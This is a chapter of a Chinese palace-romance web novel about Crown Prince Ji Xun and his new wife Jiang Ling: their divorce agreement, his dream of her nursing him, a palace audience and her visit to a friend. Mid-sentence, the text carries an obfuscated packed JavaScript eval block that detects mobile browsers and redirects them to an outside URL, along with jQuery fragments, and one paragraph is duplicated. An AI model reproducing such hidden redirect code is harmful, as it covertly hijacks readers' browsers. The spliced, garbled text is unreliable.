11. 第 11 章

作品:《惹娇颜

    此时那双桃花眼眸在烛火的映照下,更显澄澈沉静,分毫没有玩笑意味,季洵心头微动,一丝陌生的困惑悄然蔓延,不过这桩婚事本就非你情我愿,她既想如此,他允了她便是。


    他提笔写下“季洵”二字,稳稳印在了她的名字旁边。而后从怀中取出一方私印,在朱砂印泥上轻轻一按,手腕沉稳下压,将一方印记,如烙印般刻在了两人的名字上。


    鲜红的印记在烛火下格外醒目,江绫透过烛火看着那和离书,唇角漾出一丝笑意,季洵看着她,倒是第一次觉得,他竟有些看不透她了。


    不过也对,江绫素来不按套路出牌,做出此番举动,倒也在情理之中。只是今日才成婚,便想着和离,他竟这般被她嫌弃了?


    方才那一丝困惑迅速发酵,瞬间化作一种难以言喻的滞闷,压在季洵的胸口。


    一转念,他忽而又想,这可是太后赐下的婚事,哪是这般便能轻易和离,更何况,从古至今,都未曾有过太子和离一说,今日这和离书不免有些玩笑。


    更何况,他可是听闻太后赐下这桩婚事后,她未哭也未闹的便接受了,并不似被迫成婚。旧日里她与他见面便吵,她如今写下这和离书,定是想以此来做缓和,让他放下心头戒备。


    世间女子心思素来九曲十八弯,也罢,他便假装不知道她的这番小心思便是。


    红烛高烧噼啪轻响,见江绫背对着他,和衣而卧早已歇下,困倦袭来,季洵也未在多言,不多时便入了梦。


    ……


    山洞内光影昏昧,仅有篝火噼啪作响,映照出模糊的轮廓。季洵甫一睁眼,下意识便要撑身而起,胸口处却传来一阵剧痛,让他不能动弹分毫。


    “醒了?”少女一番话说的漫不经心,随手将那用树枝串起的兔肉送至了他的身前,“刚好多烤了一只,便宜你了。”


    季洵纹丝未动,目光沉沉。


    “你可别误会,”少女像是被那目光烫到,猛地收回手,她刻意扭过头,盯着跃动的火焰“不过是方才捉兔子时不小心多捉了一只,顺手烤了而已,我可不是专门为你烤的,你若不吃,便只得便宜外边那些鸟兽了。”


    季洵嗓音有些干哑,“孤伤了手臂。”


    怔了一瞬,少女面上忽而飘出一抹绯色,声音也陡然拔高了些许:“你要我喂你?”


    季洵咬牙,试图撑起沉重的身体,“自是不敢劳烦……”


    他动作迟缓而艰难,少女在一旁看着,眉头渐渐拧起,到底是有些看不过去了,“算了,你别动,我喂你便是。”


    少女话声落罢,便大喇喇的将一整个烤兔子都送至了季洵唇边,“你快点吃。”


    季洵还是第一次瞧见有人这么喂人的,看着那近在咫尺的一整只兔子,双手又动弹不得,实在有些不知该从何处下口。


    少女见他久久未动,像是也瞧出了他的顾虑,当下便用匕首切下了一块肉来,“到底是金枝玉叶又娇滴滴的太子,吃东西还要人一口一口的喂。”


    兔肉经过火烤,散发着浓郁的肉香,季洵饥肠辘辘未做他想,一口兔肉下肚,一时只觉得更饿了几分。


    见他终于吃了下去,少女眼睛一亮,眉梢眼角都带上了一丝不易察觉的期待和得意,微微扬起下巴:“怎么样,我烤的可好?这可是我第一次烤这些东西!”


    季洵看着眼前有生有熟又有些黑漆漆的肉,和部分肉上还有些许残留的毛发,那句好吃实在有些难以说出口,可如此偏僻之处,她又受了腿脚,能寻得食物已是属实不易,不管是什么,总比饿死强。


    然看着那双灵动的桃花眼眸,他心底却忽生出了几分戏谑捉弄之意,“若是肉再熟的均匀一些,毛发都拔光,肉再小块,火候再轻一些……”


    少女面上登时便多了几分恼色,“这荒郊野岭的,有东西吃便不错了,你别吃了!”


    见她气鼓鼓的样子,他不由心情大好,“你既也说了是荒郊野岭,有我在,还能给你作个伴,我若是不再了,便只剩下你一人了。”


    此话像是戳到了少女的痛处,然却仍嘴硬道:“你不在更好,带着你反而是负担,没有你,说不定我一个人早就寻到出路了。”然气势到底是低了几分。


    季洵看着她气急败坏的模样,只觉胸口的闷痛似乎都轻了几分,“哦?在军营里都时常迷路,到了这深山老林,反而能直接便寻到出路了?”


    “你!”少女被戳中痛处,又羞又恼,当下便将方才切下的那块兔肉塞到了他的口中,“我就不信吃东西堵不上你的嘴。”


    那块肉实在太大,季洵猝不及防,一下子呛住,剧烈的咳嗽瞬间撕裂了胸腔,伤口处猛地一抽,沁出血迹,刺目的鲜红蔓延开来,


    这块肉太大,季洵一个没留意,便呛到了,胸口处抽动,伤口沁出血迹,眼前的少女顿时开始惊慌起来,“季洵?!季洵!你别吓我!你怎么了?!”


    剧痛和窒息中,浓稠的黑雾瞬间吞噬了一切,季洵陡然从梦中惊醒。


    天色蒙蒙亮,微光透过窗棂,在室内铺陈开一片朦胧的灰蓝。榻上的女子仍在熟睡,呼吸均匀而绵长。季洵的思绪渐渐从混沌中抽离,眼神恢复了清明。


    梦境真实的好似真实经历过一般,在梦中他便伤了胸口,巧合的是他的胸口处至今还有因为受了剑伤而留下的疤痕。他垂眸,目光落在了胸口处,禁不住又想到了同戎狄的那一战。那一战他受了很重的伤,醒来之后似乎还失去了某段记忆,是秦芙舍命相救,他才捡回了一条性命。


    可奇怪的是,要梦他也该梦到秦芙才是,为何梦中的女子却是江绫……


    他幽邃的眸子愈发漆黑,目光沉沉地凝视着榻上对一切都浑然不觉的女子。


    是了……


    定是因为她就这般真切地躺在眼前,一切不过都是巧合而已。


    季洵未再多做他想,当即便起了身,依着规矩,两人翌日便要入宫拜见,趁宫人进门前,季洵将地上的被褥收了起。他坐在榻边,凝视着床榻上的女子,梦中那张焦急的脸庞仿佛又重叠其上,季洵还在恍惚间,便听“咔哒”一声,门外传来轻微的钥匙开锁声。


    季洵心下一凛,当即便起了身,面上恢复了一贯的矜贵模样,吩咐宫人进门侍奉。


    有了昨日的约定,翌日两人倒皆多了几分心照不宣,对日前种种皆未再提。肃穆的宫殿内,当冯皇后与萧太后看到并肩而入的太子与太子妃时,眼中皆掠过一丝不易察觉的讶异。眼前这对璧人举止合宜,眉眼间好似还透着一股难言的默契,全然不似往常的见面便吵,倒真如一对恩爱夫妻别无二致。


    高踞御座的明昌帝神色倒是如常,只目光在季洵身上停留片刻,似有深意。他显然政务缠身,待两人依礼拜见后,只匆匆温言勉励了几句,便起身叫了季洵一同去了含元殿。


    这般转变毕竟是好事,作为长辈也不好再深究细问,况且平日里又都再相熟不过,当下便也未再多言。殿内一时只余清雅茶香袅袅浮动,驱散了几分方才的微妙凝滞。


    萧太后这两日有些染了风寒,寒暄了两句后亦是去歇息了,一时殿内倒只剩下了江绫和冯皇后。


    殿内鎏金兽炉吐着安神的沉水香,冯皇后轻轻放下手中的白瓷茶盏,目光落在身旁的江绫身上,带着长辈独有的慈和与一丝不易察觉的怜惜。


    她伸出手,温热的手掌覆上江绫微凉的手背,轻轻拍了拍,“洵儿的脾气,你也是知道的,从小便是这般……有些时候,说话行事难免不近人情了些。”她顿了顿,观察着江绫的神色,见她只是低垂着眉眼,长睫在眼下投下一小片安静的阴影,并无激烈反应,才继续温声道:


    “你们既已成了夫妻,便是最亲近的人。日后相处,他若有什么地方做得不妥当,让你受了委屈……”冯皇后的语气稍稍加重,带着不容置疑的维护,“你只管来告诉本宫,本宫定会为你做主。”


    这番话是真心实意的维护,她唯恐两人年轻气盛,互不相让最后渐行渐远,当下不免多劝诫了几分。


    感受倒手背上传递过来的暖意和力量,江绫抬起头,唇角弯出一抹笑意,“多谢娘……母后厚爱,夫妻相处之道,本就贵在体谅与包容。母后放心,阿绫自会谨记母后教诲,既已成婚,自当与殿下安稳度日。”


    见江绫如此乖巧,冯皇后不免又联想到日前儿子一娶要娶两个的事,心头怜惜一时更重了几分,她轻轻叹了口气,终究没再多说什么,只是又用力握了握江绫的手,仿佛想将自己的力量传递给她。


    “好孩子,你能这么想,本宫就放心了。”冯皇后温声道,目光里带着复杂的欣慰与一丝难以言喻的忧虑。


    两人又絮絮低语了片刻,江绫方才告退。看着江绫离开的背影,冯皇后久久未动,侍立多年的老嬷嬷上前,温声劝慰:“娘娘无需忧心,儿孙自有儿孙福,待时日长了,情谊还不是早晚的事。”


    冯皇后幽幽一叹,“但愿如此。”,她抬手揉了揉额角,显得有几分疲惫,“派人多留意着。”


    无需多言,老嬷嬷便心领神会,当即深深一躬,恭声道:“老奴……明白。”


    ……


    甫回东宫,江绫还未歇脚,便见东宫总领事带人捧了厚厚一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088959|179628||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    摞账册前来禀事,听着总领事在耳边絮絮叨叨说个不停,条目又甚是繁杂,江绫一时只觉得一个头仿佛有两个大,当下便命人将账册悉数搁在案上,推说改日再看。


    锦心见主子神色倦怠,当下禁不住在旁劝道:“郡主,昨儿大婚收的贺礼简直堆满了库房,瞧的奴婢眼花缭乱,郡主可要去看看?”


    左右也无事,江绫当即便颔首应允了。


    甫入库房,珠光宝气简直扑面而来。比拳头还大的夜明珠在锦盒中幽然生辉,赤红的珊瑚树姿态虬劲,各色宝石流光溢彩泛着璀璨夺目的光华,几乎要晃花了眼,简直极尽奢华。


    江绫素手随意拂过琳琅陈设,指尖忽触到一物——是一对并蒂莲白双面雕镂空玉佩,温润剔透,一看便知是上好的羊脂白玉,锦心适时捧了账册在侧,解释道:“郡主,这是楚家小姐送来的。”


    江绫指尖描摹着那对并蒂莲玉佩温润的轮廓,羊脂白玉的凉意沁入肌肤,楚云柔那张清雅含笑的容颜仿佛在眼前愈发清晰。她却是有些时日未曾见过楚云柔了,她放下手中玉佩,眸中闪过一丝明朗:“吩咐下去,备车,本郡主要去楚府。”


    不多时,车驾便至楚府。江绫如今身份贵重,不比从前闺中女儿,甫一入府,楚家上下仆从便已恭敬候着行礼如仪。江绫挥退了那些下人,又与迎上来的楚家姨娘寒暄了几句后,便如往日一般,去了楚云柔的闺房叙话。


    楚云柔正临窗看书,见江绫推门而入,眸中掠过一丝惊喜,旋即起身相迎:“阿绫?今日怎得空过来?”话刚出口,她似想起什么,忙敛了笑意,略带几分揶揄的行了一礼,“是民女失言了,如今该称太子妃才是。”


    侍女适时奉上清茶,正是上好的雨前龙井,碧色茶汤氤氲着清幽香气。江绫一路行来确有些口干,便执盏轻啜一口。温热的茶汤裹挟着甘醇清冽的茶香滑入喉间,仿佛连带着心头那点因身份带来的无形拘束与府中琐事的沉郁,也一并被悄然涤荡。


    她放下茶盏,眸光清亮地望向楚云柔,带着几分嗔意:“阿柔,怎么连你也这般打趣我?”


    楚云柔见她神色忙笑着告饶:“好好好,是我不对,我不说了便是。”她顺势坐下,饮了口茶,话眼底带着真挚的关切,柔声道:“太子殿下待你可好?”


    江绫指尖随意地拨弄着茶盏盖,浑不在意道:“他好与不好不重要,左右不过是那么回事。”她抬起眼,目光灼灼地锁住楚云柔,带着促狭道:“倒是阿柔,不知可有中意之人?我方才来时路上,便听说这几日楚姨娘倒是为你物色了一位青年才俊,不知是哪家的公子……”


    她故意拖长了尾音,见楚云柔白皙的脸颊上瞬间飞起两朵红云,一时不觉有些好笑。


    见主子似是有些难为情,一旁的婢女莲心忙在旁说道:“便是安国公府上的三公子。”


    “三公子?”江绫指尖轻点着桌几,开始努力回想,却实在没什么印象,“安国公府门风清正,累世簪缨,在朝中根基深厚。听闻其孙儿更是自幼饱读圣贤书,功夫亦很是了得,的确担得青年才俊这几个字。”


    她点评得煞有介事,目光却始终瞟着楚云柔,楚云柔被她看得浑身不自在,又羞又急,想到那日母亲要带着她一同去长公主府,当下不由说道:“阿绫,过两日便是长公主的寿辰,你陪我一同去好不好?”


    江绫闻言,瞬间意会,她这是有些难为情,想要她作陪,看一看那位三公子究竟是好是坏,长公主待她一向亲厚,她的寿辰她必当前往,“这有何不可?只是……”她话锋一转,面上多了几分为难之色,“若彼时,我观其不佳,你视其甚好,却不知我这不佳,于你心中,究竟是好还是不好?”


    “阿绫!”楚云柔被她这近乎刁钻的问题问得又羞又恼,忍不住抬眸嗔视,那一声呼唤里含着薄怒,更带着女儿家被戳破心事的无限娇羞。


    江绫一笑。


    楚云柔却仍有几分顾虑,秀眉微蹙,声音压低了些:“长公主寿宴,届时长安城的权贵勋戚想必云集……那个秦芙,说不定也会在场……”


    桌上糕点香气扑鼻,江绫拈起一块小巧精致的芙蓉糕,她语气轻描淡写,仿佛提及的不过是个无关紧要的名字,“那又如何?”


    楚云柔看着她这般模样,欲言又止,她顿了顿,像是终于下定了决心,飞快地从袖中取出一个用素帕包裹的物件,轻轻推到江绫面前,“陆统领让我把这个东西交给你……”


    “啪嗒。”江绫捏在指间的半块芙蓉糕,毫无预兆地掉落在描金的瓷碟里,发出细微却清晰的声响。她原本闲适的动作,瞬间凝固了。